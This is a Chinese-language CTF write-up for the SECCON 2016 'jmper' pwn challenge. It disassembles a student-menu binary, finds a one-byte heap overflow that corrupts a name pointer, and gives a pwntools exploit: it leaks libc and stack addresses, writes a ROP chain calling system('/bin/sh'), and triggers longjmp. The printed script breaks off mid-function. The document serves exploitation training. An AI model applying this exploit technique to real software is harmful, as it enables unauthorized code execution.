> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.17_pwn_secconctf2016_jmper.md).

# 6.1.17 pwn SECCONCTF2016 jmper

* [题目复现](#题目复现)
* [题目解析](#题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.17_pwn_secconctf2016_jmper)

## 题目复现

```
$ file jmper
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
$ checksec -f jmper
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               4       jmper
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.
```

64 位动态链接程序，但 Full RELRO 表示我们不能修改 GOT 表，然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出，not stripped、No PIE 都是好消息。默认开启 ASLR。

在 Ubuntu-14.04 上玩一下：

```
$ LD_PRELOAD=./libc-2.19.so ./jmper
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
1
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
2
ID:0
Input name:AAAA
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
3
ID:0
Input memo:BBBB
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
4
ID:0
AAAA1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
5
ID:0
BBBB1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
6
```

似乎是新建的 student 会对应一个 id，根据 id 可以查看或修改对应的 name 和 memo。

## 题目解析

程序主要由两部分组成，一个是 `main()` 函数，另一个是实现了所有功能的 `f()` 函数。

### main

```
[0x00400730]> pdf @ main
/ (fcn) main 170
|   main ();
|           ; var int local_4h @ rbp-0x4
|           ; DATA XREF from 0x0040074d (entry0)
|           0x00400ba8      push rbp
|           0x00400ba9      mov rbp, rsp
|           0x00400bac      sub rsp, 0x10
|           0x00400bb0      mov rax, qword [obj.stdin]                 ; [0x602018:8]=0
|           0x00400bb7      mov ecx, 0
|           0x00400bbc      mov edx, 2
|           0x00400bc1      mov esi, 0
|           0x00400bc6      mov rdi, rax
|           0x00400bc9      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00400bce      mov rax, qword [sym.stdout]                ; loc.stdout ; [0x602010:8]=0
|           0x00400bd5      mov ecx, 0
|           0x00400bda      mov edx, 2
|           0x00400bdf      mov esi, 0
|           0x00400be4      mov rdi, rax
|           0x00400be7      call sym.imp.setvbuf                       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x00400bec      mov edi, str.Welcome_to_my_class.          ; 0x400d88 ; "Welcome to my class."
|           0x00400bf1      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400bf6      mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
|           0x00400bfb      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400c00      mov edi, 0xf0                              ; 240
|           0x00400c05      call sym.imp.malloc                        ; my_class = malloc(0xf0) 分配 my_class 数组
|           0x00400c0a      mov qword [obj.my_class], rax              ; [0x602030:8]=0
|           0x00400c11      mov edi, 0xc8                              ; 200
|           0x00400c16      call sym.imp.malloc                        ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
|           0x00400c1b      mov qword [obj.jmpbuf], rax                ; [0x602038:8]=0
|           0x00400c22      mov rax, qword [obj.jmpbuf]                ; [0x602038:8]=0
|           0x00400c29      mov rdi, rax
|           0x00400c2c      call sym.imp._setjmp                       ; setjmp(jmpbuf) 保存上下文到 jmpbuf
|           0x00400c31      mov dword [local_4h], eax
|           0x00400c34      cmp dword [local_4h], 0                     ; 将 setjmp 返回值与 0 比较
|       ,=< 0x00400c38      jne 0x400c41                                ; 不等于时跳转
|       |   0x00400c3a      call sym.f                                  ; 否则调用函数 f()，进入主要程序逻辑
|      ,==< 0x00400c3f      jmp 0x400c4b
|      ||   ; JMP XREF from 0x00400c38 (main)
|      |`-> 0x00400c41      mov edi, str.Nice_jump__Bye_:              ; 0x400dbf ; "Nice jump! Bye :)"
|      |    0x00400c46      call sym.imp.puts                          ; int puts(const char *s)
|      |    ; JMP XREF from 0x00400c3f (main)
|      `--> 0x00400c4b      mov eax, 0
|           0x00400c50      leave
\           0x00400c51      ret
[0x00400730]> is ~my_class
055 0x00002030 0x00602030 GLOBAL OBJECT    8 my_class
[0x00400730]> is ~jmpbuf
065 0x00002038 0x00602038 GLOBAL OBJECT    8 jmpbuf
[0x00400730]> iS ~bss
24 0x00002010     0 0x00602010    48 --rw- .bss
```

在 main 函数里分配了两块内存空间，一块是包含了 30 个 student 结构体指针的数组，地址放在 `my_class`（`0x00602030`）。另一块用于存放一个 `jmp_buf` 结构体，这个结构体中保存当前上下文，结构体的地址放在 `jmpbuf`（`0x00602038`）。并且这两个符号都在 `.bss` 段中。

这里就涉及到 `setjmp()` 和 `longjmp()` 的使用，它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下：

```c
#include <setjmp.h>

int setjmp(jmp_buf env);

void longjmp(jmp_buf env, int val);
```

* `setjmp()`：将函数在此处的上下文保存到 `jmp_buf` 结构体，以供 longjmp 从此结构体中恢复上下文
  * `env`：保存上下文的 `jmp_buf` 结构体变量
  * 如果直接调用该函数，返回值为 0。如果该函数从 longjmp 调用返回，返回值根据 longjmp 的参数决定。
* `longjmp()`：从 `jmp_buf` 结构体中恢复由 setjmp 函数保存的上下文，该函数不返回，而是从 setjmp 函数中返回
  * `env`：由 setjmp 函数保存的上下文
  * `val`：传递给 setjmp 函数的返回值，如果 `val` 值为 0，setjmp 将会返回 1，否则返回 `val`。

`longjmp()` 执行完之后，程序就回到了 `setjmp()` 的下一条语句继续执行。

### f

接下来我们看一下各功能的实现（程序设计真的要吐槽一下）：

``````
[0x00400730]> pdf @ sym.f
/ (fcn) sym.f 907
|   sym.f ();
|           ; var int local_1dh @ rbp-0x1d
|           ; var int local_1ch @ rbp-0x1c
|           ; var int local_18h @ rbp-0x18
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400c3a (main)
|           0x0040081d      push rbp
|           0x0040081e      mov rbp, rsp
|           0x00400821      sub rsp, 0x20
|           0x00400825      mov dword [obj.student_num], 0             ; [0x602028:4]=0
|           ; JMP XREF from 0x00400ba3 (sym.f)
|       .-> 0x0040082f      mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
|       :   0x00400834      call sym.imp.puts                          ; int puts(const char *s)
|       :   0x00400839      lea rax, [local_18h]
|       :   0x0040083d      mov rsi, rax
|       :   0x00400840      mov edi, 0x400d3c
|       :   0x00400845      mov eax, 0
|       :   0x0040084a      call sym.imp.__isoc99_scanf                 ; 读入选项到 [local_18h]
|       :   0x0040084f      call sym.imp.getchar                       ; int getchar(void)
|       :   0x00400854      mov eax, dword [local_18h]
|       :   0x00400857      cmp eax, 1                                 ; 1
|      ,==< 0x0040085a      jne 0x4008e8
|      |:   0x00400860      mov eax, dword [obj.student_num]           ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数
|      |:   0x00400866      cmp eax, 0x1d                              ; 29 ; 与最大值比较
|     ,===< 0x00400869      jle 0x400889                                ; 小于等于 30 时跳转
|     ||:   0x0040086b      mov edi, str.Exception_has_occurred._Jump  ; 0x400d3f ; 否则调用 longjmp 返回到 main
|     ||:   0x00400870      call sym.imp.puts                          ; int puts(const char *s)
|     ||:   0x00400875      mov rax, qword [obj.jmpbuf]                ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
|     ||:   0x0040087c      mov esi, 0x1bf52                            ; setjmp 返回值为 0x1bf52
|     ||:   0x00400881      mov rdi, rax
|     ||:   0x00400884      call sym.imp.longjmp                       ; longjmp(jmpbuf, 0x1bf52)
|     ||:   ; JMP XREF from 0x00400869 (sym.f)
|     `---> 0x00400889      mov edi, 0x30                              ; '0' ; 48
|      |:   0x0040088e      call sym.imp.malloc                        ; malloc(0x30) ; 分配一个 student 结构
|      |:   0x00400893      mov qword [local_8h], rax                   ; 将 student 地址放到 [local_8h]
|      |:   0x00400897      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x0040089d      movsxd rdx, eax
|      |:   0x004008a0      mov rax, qword [local_8h]
|      |:   0x004008a4      mov qword [rax], rdx                        ; 将 student_num 作为该 student->id
|      |:   0x004008a7      mov edi, 0x20                              ; 32
|      |:   0x004008ac      call sym.imp.malloc                        ; malloc(0x20) ; 分配一块空间作为 name
|      |:   0x004008b1      mov rdx, rax
|      |:   0x004008b4      mov rax, qword [local_8h]
|      |:   0x004008b8      mov qword [rax + 0x28], rdx                 ; 将 name 的地址放到 student->name
|      |:   0x004008bc      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
|      |:   0x004008c3      mov edx, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x004008c9      movsxd rdx, edx
|      |:   0x004008cc      mov rcx, qword [local_8h]
|      |:   0x004008d0      mov qword [rax + rdx*8],                    ; 将新分配的 student 地址放到 my_class[id]
|      |:   0x004008d4      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|      |:   0x004008da      add eax, 1                                  ; student_num + 1
|      |:   0x004008dd      mov dword [obj.student_num], eax           ; [0x602028:4]=0 ; 写回 student_num
|     ,===< 0x004008e3      jmp 0x400ba3                                ; 回到菜单
|     ||:   ; JMP XREF from 0x0040085a (sym.f)
|     |`--> 0x004008e8      mov eax, dword [local_18h]
|     | :   0x004008eb      cmp eax, 2                                 ; 2
|     |,==< 0x004008ee      jne 0x4009b3
|     ||:   0x004008f4      mov esi, 0x400d5d                           ; 选项 2
|     ||:   0x004008f9      mov edi, 0x400d61
|     ||:   0x004008fe      mov eax, 0
|     ||:   0x00400903      call sym.imp.printf                        ; int printf(const char *format)
|     ||:   0x00400908      lea rax, [local_1ch]
|     ||:   0x0040090c      mov rsi, rax
|     ||:   0x0040090f      mov edi, 0x400d3c
|     ||:   0x00400914      mov eax, 0
|     ||:   0x00400919      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
|     ||:   0x0040091e      call sym.imp.getchar                       ; int getchar(void)
|     ||:   0x00400923      mov edx, dword [local_1ch]
|     ||:   0x00400926      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
|     ||:   0x0040092c      cmp edx, eax                                ; 判断 id 是否有效
|    ,====< 0x0040092e      jge 0x400937                                ; 无效时跳转
|    |||:   0x00400930      mov eax, dword [local_1ch]
|    |||:   0x00400933      test eax, eax                               ; 根据 id 设置符号位
|   ,=====< 0x00400935      jns 0x40094b                                ; 符号位为 0 时跳转，即 id 大于等于 0
|   ||||:   ; JMP XREF from 0x0040092e (sym.f)
|   |`----> 0x00400937      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
|   | ||:   0x0040093c      call sym.imp.puts                          ; int puts(const char *s)
|   | ||:   0x00400941      mov edi, 1
|   | ||:   0x00400946      call sym.imp.exit                          ; void exit(int status)
|   | ||:   ; JMP XREF from 0x00400935 (sym.f)
|   `-----> 0x0040094b      mov esi, str.Input_name:                   ; 0x400d70 ; "Input name:"
|     ||:   0x00400950      mov edi, 0x400d61
|     ||:   0x00400955      mov eax, 0
|     ||:   0x0040095a      call sym.imp.printf                        ; int printf(const char *format)
|     ||:   0x0040095f      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
|     ||:   0x00400966      mov edx, dword [local_1ch]
|     ||:   0x00400969      movsxd rdx, edx
|     ||:   0x0040096c      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
|     ||:   0x00400970      mov rax, qword [rax + 0x28]                ; [0x28:8]=-1 ; 取出 my_class[id]->name
|     ||:   0x00400974      mov qword [local_10h], rax                  ; 放到 [local_10h]
|     ||:   0x00400978      mov dword [local_14h], 0                    ; 循环计数 i 初始化为 0
|    ,====< 0x0040097f      jmp 0x4009a8                                ; 进入循环
|    |||:   ; JMP XREF from 0x004009ac (sym.f)
|   .-----> 0x00400981      call sym.imp.getchar                       ; int getchar(void)
|   :|||:   0x00400986      mov byte [local_1dh], al                    ; 读入一个字节到 [local_1dh]
|   :|||:   0x00400989      cmp byte [local_1dh], 0xa                  ; [0xa:1]=255 ; 10
|  ,======< 0x0040098d      jne 0x400995                                ; 非换行符时跳转
|  |:|||:   0x0040098f      nop
| ,=======< 0x00400990      jmp 0x400ba3                                ; 否则回到菜单
| ||:|||:   ; JMP XREF from 0x0040098d (sym.f)
| |`------> 0x00400995      mov rax, qword [local_10h]
| | :|||:   0x00400999      movzx edx, byte [local_1dh]
| | :|||:   0x0040099d      mov byte [rax], dl                          ; 写入该字节写入 name
| | :|||:   0x0040099f      add qword [local_10h], 1                    ; name = name + 1
| | :|||:   0x004009a4      add dword [local_14h], 1                    ; i = i + 1
| | :|||:   ; JMP XREF from 0x0040097f (sym.f)
| | :`----> 0x004009a8      cmp dword [local_14h], 0x20                ; [0x20:4]=-1 ; 32
| | `=====< 0x004009ac      jle 0x400981                                ; 当小于等于 32 字节时继续循环，即读入 33 字节，存在溢出
| |  ,====< 0x004009ae      jmp 0x400ba3                                ; 否则回到菜单
| |  |||:   ; JMP XREF from 0x004008ee (sym.f)
| |  ||`--> 0x004009b3      mov eax, dword [local_18h]
| |  || :   0x004009b6      cmp eax, 3                                 ; 3
| |  ||,==< 0x004009b9      jne 0x400a7e
| |  |||:   0x004009bf      mov esi, 0x400d5d                           ; 选项 3
| |  |||:   0x004009c4      mov edi, 0x400d61
| |  |||:   0x004009c9      mov eax, 0
| |  |||:   0x004009ce      call sym.imp.printf                        ; int printf(const char *format)
| |  |||:   0x004009d3      lea rax, [local_1ch]
| |  |||:   0x004009d7      mov rsi, rax
| |  |||:   0x004009da      mov edi, 0x400d3c
| |  |||:   0x004009df      mov eax, 0
| |  |||:   0x004009e4      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| |  |||:   0x004009e9      call sym.imp.getchar                       ; int getchar(void)
| |  |||:   0x004009ee      mov edx, dword [local_1ch]
| |  |||:   0x004009f1      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| |  |||:   0x004009f7      cmp edx, eax                                ; 判断 id 是否有效
| | ,=====< 0x004009f9      jge 0x400a02                                ; 无效时跳转
| | ||||:   0x004009fb      mov eax, dword [local_1ch]
| | ||||:   0x004009fe      test eax, eax                               ; 根据 id 设置符号位
| |,======< 0x00400a00      jns 0x400a16                                ; 符号位为 0 时跳转，即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x004009f9 (sym.f)
| ||`-----> 0x00400a02      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| || |||:   0x00400a07      call sym.imp.puts                          ; int puts(const char *s)
| || |||:   0x00400a0c      mov edi, 1
| || |||:   0x00400a11      call sym.imp.exit                          ; void exit(int status)
| || |||:   ; JMP XREF from 0x00400a00 (sym.f)
| |`------> 0x00400a16      mov esi, str.Input_memo:                   ; 0x400d7c ; "Input memo:"
| |  |||:   0x00400a1b      mov edi, 0x400d61
| |  |||:   0x00400a20      mov eax, 0
| |  |||:   0x00400a25      call sym.imp.printf                        ; int printf(const char *format)
| |  |||:   0x00400a2a      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| |  |||:   0x00400a31      mov edx, dword [local_1ch]
| |  |||:   0x00400a34      movsxd rdx, edx
| |  |||:   0x00400a37      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| |  |||:   0x00400a3b      add rax, 8                                  ; 取出 my_class[id]->memo
| |  |||:   0x00400a3f      mov qword [local_10h], rax                  ; 放到 [local_10h]
| |  |||:   0x00400a43      mov dword [local_14h], 0                    ; 循环计数 i，初始化为 0
| | ,=====< 0x00400a4a      jmp 0x400a73                                ; 进入循环
| | ||||:   ; JMP XREF from 0x00400a77 (sym.f)
| |.------> 0x00400a4c      call sym.imp.getchar                       ; int getchar(void)
| |:||||:   0x00400a51      mov byte [local_1dh], al
| |:||||:   0x00400a54      cmp byte [local_1dh], 0xa                  ; [0xa:1]=255 ; 10
| ========< 0x00400a58      jne 0x400a60
| |:||||:   0x00400a5a      nop
| ========< 0x00400a5b      jmp 0x400ba3
| |:||||:   ; JMP XREF from 0x00400a58 (sym.f)
| --------> 0x00400a60      mov rax, qword [local_10h]
| |:||||:   0x00400a64      movzx edx, byte [local_1dh]
| |:||||:   0x00400a68      mov byte [rax], dl
| |:||||:   0x00400a6a      add qword [local_10h], 1
| |:||||:   0x00400a6f      add dword [local_14h], 1
| |:||||:   ; JMP XREF from 0x00400a4a (sym.f)
| |:`-----> 0x00400a73      cmp dword [local_14h], 0x20                ; [0x20:4]=-1 ; 32
| |`======< 0x00400a77      jle 0x400a4c                                ; 当小于等于 32 字节时继续循环，即读入 33 字节，存在溢出
| | ,=====< 0x00400a79      jmp 0x400ba3                                ; 否则回到菜单
| | ||||:   ; JMP XREF from 0x004009b9 (sym.f)
| | |||`--> 0x00400a7e      mov eax, dword [local_18h]
| | ||| :   0x00400a81      cmp eax, 4                                 ; 4
| | |||,==< 0x00400a84      jne 0x400b0d
| | ||||:   0x00400a8a      mov esi, 0x400d5d                           ; 选项 4
| | ||||:   0x00400a8f      mov edi, 0x400d61
| | ||||:   0x00400a94      mov eax, 0
| | ||||:   0x00400a99      call sym.imp.printf                        ; int printf(const char *format)
| | ||||:   0x00400a9e      lea rax, [local_1ch]
| | ||||:   0x00400aa2      mov rsi, rax
| | ||||:   0x00400aa5      mov edi, 0x400d3c
| | ||||:   0x00400aaa      mov eax, 0
| | ||||:   0x00400aaf      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| | ||||:   0x00400ab4      call sym.imp.getchar                       ; int getchar(void)
| | ||||:   0x00400ab9      mov edx, dword [local_1ch]
| | ||||:   0x00400abc      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| | ||||:   0x00400ac2      cmp edx, eax                                ; 判断 id 是否有效
| |,======< 0x00400ac4      jge 0x400acd                                ; 无效时跳转
| ||||||:   0x00400ac6      mov eax, dword [local_1ch]
| ||||||:   0x00400ac9      test eax, eax                               ; 根据 id 设置符号位
| ========< 0x00400acb      jns 0x400ae1                                ; 符号位为 0 时跳转，即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x00400ac4 (sym.f)
| |`------> 0x00400acd      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| | ||||:   0x00400ad2      call sym.imp.puts                          ; int puts(const char *s)
| | ||||:   0x00400ad7      mov edi, 1
| | ||||:   0x00400adc      call sym.imp.exit                          ; void exit(int status)
| | ||||:   ; JMP XREF from 0x00400acb (sym.f)
| --------> 0x00400ae1      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| | ||||:   0x00400ae8      mov edx, dword [local_1ch]
| | ||||:   0x00400aeb      movsxd rdx, edx
| | ||||:   0x00400aee      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| | ||||:   0x00400af2      mov rax, qword [rax + 0x28]                ; [0x28:8]=-1 ; 取出 my_class[id]->name
| | ||||:   0x00400af6      mov rsi, rax
| | ||||:   0x00400af9      mov edi, 0x400d61
| | ||||:   0x00400afe      mov eax, 0
| | ||||:   0x00400b03      call sym.imp.printf                         ; 打印出 my_class[id]->name
| |,======< 0x00400b08      jmp 0x400ba3                                ; 回到菜单
| ||||||:   ; JMP XREF from 0x00400a84 (sym.f)
| |||||`--> 0x00400b0d      mov eax, dword [local_18h]
| ||||| :   0x00400b10      cmp eax, 5                                 ; 5
| |||||,==< 0x00400b13      jne 0x400b99
| ||||||:   0x00400b19      mov esi, 0x400d5d                           ; 选项 5
| ||||||:   0x00400b1e      mov edi, 0x400d61
| ||||||:   0x00400b23      mov eax, 0
| ||||||:   0x00400b28      call sym.imp.printf                        ; int printf(const char *format)
| ||||||:   0x00400b2d      lea rax, [local_1ch]
| ||||||:   0x00400b31      mov rsi, rax
| ||||||:   0x00400b34      mov edi, 0x400d3c
| ||||||:   0x00400b39      mov eax, 0
| ||||||:   0x00400b3e      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| ||||||:   0x00400b43      call sym.imp.getchar                       ; int getchar(void)
| ||||||:   0x00400b48      mov edx, dword [local_1ch]
| ||||||:   0x00400b4b      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| ||||||:   0x00400b51      cmp edx, eax                                ; 判断 id 是否有效
| ========< 0x00400b53      jge 0x400b5c                                ; 无效时跳转
| ||||||:   0x00400b55      mov eax, dword [local_1ch]
| ||||||:   0x00400b58      test eax, eax                               ; 根据 id 设置符号位
| ========< 0x00400b5a      jns 0x400b70                                ; 符号位为 0 时跳转，即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x00400b53 (sym.f)
| --------> 0x00400b5c      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| ||||||:   0x00400b61      call sym.imp.puts                          ; int puts(const char *s)
| ||||||:   0x00400b66      mov edi, 1
| ||||||:   0x00400b6b      call sym.imp.exit                          ; void exit(int status)
| ||||||:   ; JMP XREF from 0x00400b5a (sym.f)
| --------> 0x00400b70      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| ||||||:   0x00400b77      mov edx, dword [local_1ch]
| ||||||:   0x00400b7a      movsxd rdx, edx
| ||||||:   0x00400b7d      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| ||||||:   0x00400b81      add rax, 8                                  ; 取出 my_class[id]->memo
| ||||||:   0x00400b85      mov rsi, rax
| ||||||:   0x00400b88      mov edi, 0x400d61
| ||||||:   0x00400b8d      mov eax, 0
| ||||||:   0x00400b92      call sym.imp.printf                         ; 打印出 my_class[id]->memo
| ========< 0x00400b97      jmp 0x400ba3                                ; 回到菜单
| ||||||:   ; JMP XREF from 0x00400b13 (sym.f)
| |||||`--> 0x00400b99      mov edi, 0
| ||||| :   0x00400b9e      call sym.imp.exit                          ; void exit(int status)
| ||||| |   ; XREFS: JMP 0x00400b97  JMP 0x00400b08  JMP 0x00400a79  JMP 0x00400a5b  JMP 0x004009ae  JMP 0x00400990  JMP 0x004008e3  
\ `````-`=< 0x00400ba3      jmp 0x40082f                                ; 循环继续
[0x00400730]> is ~student_num
048 0x00002028 0x00602028 GLOBAL OBJECT    4 student_num
``````

首先注意到这个函数没有 return 指令，要想离开只有两种方法，一个是 `exit()`，另一个是 `longjmp()` 跳回 main 函数，既然这么设置那当然是有用意的。

通过分析，可以得到 student 结构体和数组 my\_class：

```c
struct student {
    uint8_t id;
    char memo[0x20];
    char *name;
} student;

struct student *my_class[0x1e];
```

漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow，其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址，并利用修改 name 的功能修改地址上的内容。

## 漏洞利用

所以我们的思路是通过 one-byte overflow，使 my\_class\[0]->name 指向 my\_class\[1]->name，从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址，将返回地址覆盖以制造 ROP，调用 system('/bin/sh') 获得 shell。

### overflow

```python
def overflow():
    add()   # idx 0
    add()   # idx 1
    write_memo(0, 'A'*0x20 + '\x78')
```

首先添加两个 student：

```
gdb-peda$ p student_num
$1 = 0x2
gdb-peda$ x/2gx my_class
0x603010:	0x00000000006031e0	0x0000000000603250
gdb-peda$ x/30gx *my_class-0x10
0x6031d0:	0x0000000000000000	0x0000000000000041  <-- student chunk 0
0x6031e0:	0x0000000000000000	0x0000000000000000  <-- my_class[0]->name   <-- my_class[0]->memo
0x6031f0:	0x0000000000000000	0x0000000000000000
0x603200:	0x0000000000000000	0x0000000000603220                          <-- my_class[0]->name
0x603210:	0x0000000000000000	0x0000000000000031  <-- name chunk 0
0x603220:	0x0000000000000000	0x0000000000000000
0x603230:	0x0000000000000000	0x0000000000000000
0x603240:	0x0000000000000000	0x0000000000000041  <-- student chunk 1
0x603250:	0x0000000000000001	0x0000000000000000  <-- my_class[1]->name   <-- my_class[1]->memo
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000603290                          <-- my_class[1]->name
0x603280:	0x0000000000000000	0x0000000000000031  <-- name chunk 1
0x603290:	0x0000000000000000	0x0000000000000000
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51  <-- top chunk
```

然后利用 my\_class\[0]->memo 的溢出修改 my\_class\[0]->name，使其指向 my\_class\[1]->name：

```
gdb-peda$ x/30gx *my_class-0x10
0x6031d0:	0x0000000000000000	0x0000000000000041
0x6031e0:	0x0000000000000000	0x4141414141414141
0x6031f0:	0x4141414141414141	0x4141414141414141
0x603200:	0x4141414141414141	0x0000000000603278                          <-- my_class[0]->name
0x603210:	0x0000000000000000	0x0000000000000031
0x603220:	0x0000000000000000	0x0000000000000000
0x603230:	0x0000000000000000	0x0000000000000000
0x603240:	0x0000000000000000	0x0000000000000041
0x603250:	0x0000000000000001	0x0000000000000000
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000603290                          <-- my_class[1]->name
0x603280:	0x0000000000000000	0x0000000000000031
0x603290:	0x0000000000000000	0x0000000000000000
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51
```

通过 overflow，我们控制了 my\_class\[1]->name，可以对任意地址（除了GOT表）读或写。

### leak

然后我们可以修改 my\_class\[1]->name 为 libc 中任意符号的地址，从而泄漏出需要的地址信息：

```python
def leak():
    global system_addr
    global main_ret_addr

    write_name(0, p64(elf.got['puts']))
    show_name(1)
    puts_addr = (u64(io.recvline()[:6] + '\x00'*2))

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    environ_addr = libc_base + libc.symbols['environ']

    write_name(0, p64(environ_addr))
    show_name(1)
    stack_addr = u64(io.recvline()[:6] + '\x00'*2)
    main_ret_addr = stack_addr - 0xf0

    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
    log.info("main return address: 0x%x" % main_ret_addr)
```

于是我们就得到了 system 函数的地址和 main 函数的返回地址。

这里我们利用了 libc 中的 environ 符号，该符号执行一个栈上的地址，通过计算偏移即可得到返回地址。

```
[*] libc base: 0x7ffff7a15000
[*] system address: 0x7ffff7a5b590
[*] main return address: 0x7fffffffed78
```

### overwrite

```python
def overwrite():
    write_name(0, p64(0x602028))        # student_num
    write_name(1, '/bin/sh\x00')
    write_name(0, p64(main_ret_addr))
    write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr))  # system('/bin/sh')
```

接下来我们将 student\_num 改为 '/bin/sh'，这样一方面为 system 提供了参数，另一方面可以触发 longjmp。

```
gdb-peda$ x/s 0x602028
0x602028 <student_num>:	"/bin/sh"
gdb-peda$ x/3gx 0x7fffffffed78
0x7fffffffed78:	0x0000000000400cc3	0x0000000000602028
0x7fffffffed88:	0x00007ffff7a5b590
```

### pwn

```python
def pwn():
    add()   # call longjmp to back to main
    io.interactive()
```

Bingo!!!

```
$ python exp.py
[+] Starting local process './jmper': pid 3935
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'

io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('jmper')
libc = ELF('libc-2.19.so')

pop_rdi_ret = 0x400cc3

def add():
    io.sendlineafter("Bye :)\n", '1')

def write_name(idx, content):
    io.sendlineafter("Bye :)\n", '2')
    io.sendlineafter("ID:", str(idx))
    io.sendlineafter("name:", content)

def write_memo(idx, content):
    io.sendlineafter("Bye :)\n", '3')
    io.sendlineafter("ID:", str(idx))
    io.sendlineafter("memo:", content)

def show_name(idx):
    io.sendlineafter("Bye :)\n", '4')
    io.sendlineafter("ID:", str(idx))

def show_memo(idx):
    io.sendlineafter("Bye :)\n", '5')
    io.sendlineafter("ID:", str(idx))

def overflow():
    add()   # idx 0
    add()   # idx 1
    write_memo(0, 'A'*0x20 + '\x78')

def leak():
    global system_addr
    global main_ret_addr

    write_name(0, p64(elf.got['puts']))
    show_name(1)
    puts_addr = (u64(io.recvline()[:6] + '\x00'*2))

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    environ_addr = libc_base + libc.symbols['environ']

    write_name(0, p64(environ_addr))
    show_name(1)
    stack_addr = u64(io.recvline()[:6] + '\x00'*2)
    main_ret_addr = stack_addr - 0xf0

    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
    log.info("main return address: 0x%x" % main_ret_addr)

def overwrite():
    write_name(0, p64(0x602028))        # student_num
